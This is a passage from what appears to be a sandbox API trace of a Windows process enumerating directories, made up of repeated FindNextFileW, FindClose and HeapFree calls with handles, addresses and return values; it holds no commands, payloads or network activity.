lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 1 [0304.524] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0304.524] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x39feb94 | out: lpFindFileData=0x39feb94) returned 0 [0304.524] FindClose (in: hFindFile=0x7fd348 | out: hFindFile=0x7fd348) returned 1 [0304.525] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0304.525] FindNextFileW (in: hFindFile=0x7fd188, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0304.525] FindClose (in: hFindFile=0x7fd188 | out: hFindFile=0x7fd188) returned 1 [0304.525] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.526] FindNextFileW (in: hFindFile=0x7fcbc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0304.527] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0304.527] FindNextFileW (in: hFindFile=0x7fcbc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 0 [0304.527] FindClose (in: hFindFile=0x7fcbc8 | out: hFindFile=0x7fcbc8) returned 1 [0304.527] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0304.527] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 0 [0304.527] FindClose (in: hFindFile=0x7fce48 | out: hFindFile=0x7fce48) returned 1 [0304.527] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0304.528] FindNextFileW (in: hFindFile=0x7fd0c8, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 0 [0304.528] FindClose (in: hFindFile=0x7fd0c8 | out: hFindFile=0x7fd0c8) returned 1 [0304.528] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0304.528] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0304.528] FindClose (in: hFindFile=0x7fcd48 | out: hFindFile=0x7fcd48) returned 1 [0304.529] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0304.529] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0304.539] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0304.539] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0304.540] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0304.540] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0305.039] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0305.039] FindNextFileW (in: hFindFile=0x7fd188, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0305.041] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0305.041] FindNextFileW (in: hFindFile=0x7fd188, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 1 [0305.042] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0305.042] FindNextFileW (in: hFindFile=0x7fd188, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 0 [0305.042] FindClose (in: hFindFile=0x7fd188 | out: hFindFile=0x7fd188) returned 1 [0305.042] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0305.042] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0305.042] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0305.042] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 0 [0305.042] FindClose (in: hFindFile=0x7fd288 | out: hFindFile=0x7fd288) returned 1 [0305.042] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0305.042] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0305.042] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0305.042] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0305.043] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0305.043] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0305.043] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0305.043] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 0 [0305.043] FindClose (in: hFindFile=0x7fcf88 | out: hFindFile=0x7fcf88) returned 1 [0305.043] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0305.043] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0305.045] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0305.045] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0305.045] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0305.045] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0305.045] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0305.045] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0305.045] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0305.045] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 0 [0305.045] FindClose (in: hFindFile=0x7fcd48 | out: hFindFile=0x7fcd48) returned 1 [0305.046] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0305.046] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 0 [0305.046] FindClose (in: hFindFile=0x7fcc08 | out: hFindFile=0x7fcc08) returned 1 [0305.046] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0305.734] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0305.735] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0305.735] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0305.736] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0305.736] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0305.737] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0305.737] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0305.737] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0305.737] FindNextFileW (in: hFindFile=0x7fcdc8, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c) returned 1 [0305.739] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4400888 | out: hHeap=0x700000) returned 1 [0305.739] FindNextFileW (in: hFindFile=0x7fce48, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 0 [0305.739] FindClose (in: hFindFile=0x7fce48 | out: hFindFile=0x7fce48) returned 1 [0305.739] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0305.739] FindNextFileW (in: hFindFile=0x7fcd48, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584) returned 0 [0305.739] FindClose (in: hFindFile=0x7fcd48 | out: hFindFile=0x7fcd48) returned 1 [0305.739] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0305.740] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0305.740] FindClose (in: hFindFile=0x7fcf08 | out: hFindFile=0x7fcf08) returned 1 [0305.750] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0305.751] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0305.753] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0305.753] FindNextFileW (in: hFindFile=0x7fd188, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0305.753] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0305.753] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0305.753] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44448a8 | out: hHeap=0x700000) returned 1 [0305.753] FindNextFileW (in: hFindFile=0x7fcf48, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0305.757] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0305.757] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0305.760] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0305.760] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0305.762] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0305.762] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0305.764] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0305.764] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0305.766] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0305.766] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0305.768] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0305.768] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0305.771] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0305.771] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0305.773] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0305.773] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0305.775] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0305.775] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0305.777] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0305.777] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0305.779] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0305.779] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0305.782] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0305.782] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0305.784] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0305.784] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0305.786] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0305.786] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0305.788] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0305.788] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.202] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0306.203] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.205] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.205] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.207] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.207] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.209] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.209] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.210] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.210] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.212] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.212] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.214] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.214] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.215] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.215] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.217] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.217] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.219] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.219] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.220] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.220] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.227] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.227] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.229] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.229] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.239] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.239] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.241] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.241] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.244] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.244] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.245] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.245] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.247] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.247] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.249] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.249] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.251] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.251] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.252] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.252] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.254] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.254] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.255] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.256] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.257] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.257] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.549] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.550] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.553] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.553] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.555] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.555] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.557] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.557] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.558] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.558] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.564] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.564] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.566] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.566] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.567] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.567] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.569] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.569] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.576] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.576] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.578] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.578] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.579] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.579] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.584] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.584] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.586] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.586] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.587] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.587] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.589] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.589] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.591] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.591] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.592] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.593] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.594] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.594] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.596] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.596] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.598] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.598] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.599] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.599] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0306.601] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0306.601] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0307.327] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0307.327] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0307.330] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0307.330] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0307.333] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0307.333] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0307.335] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0307.335] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0307.337] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0307.337] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0307.339] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0307.339] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0307.341] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0307.341] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 1 [0307.343] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0307.343] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39fee10 | out: lpFindFileData=0x39fee10) returned 0 [0307.343] FindClose (in: hFindFile=0x7fcf88 | out: hFindFile=0x7fcf88) returned 1 [0307.344] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0307.344] FindNextFileW (in: hFindFile=0x7fd008, 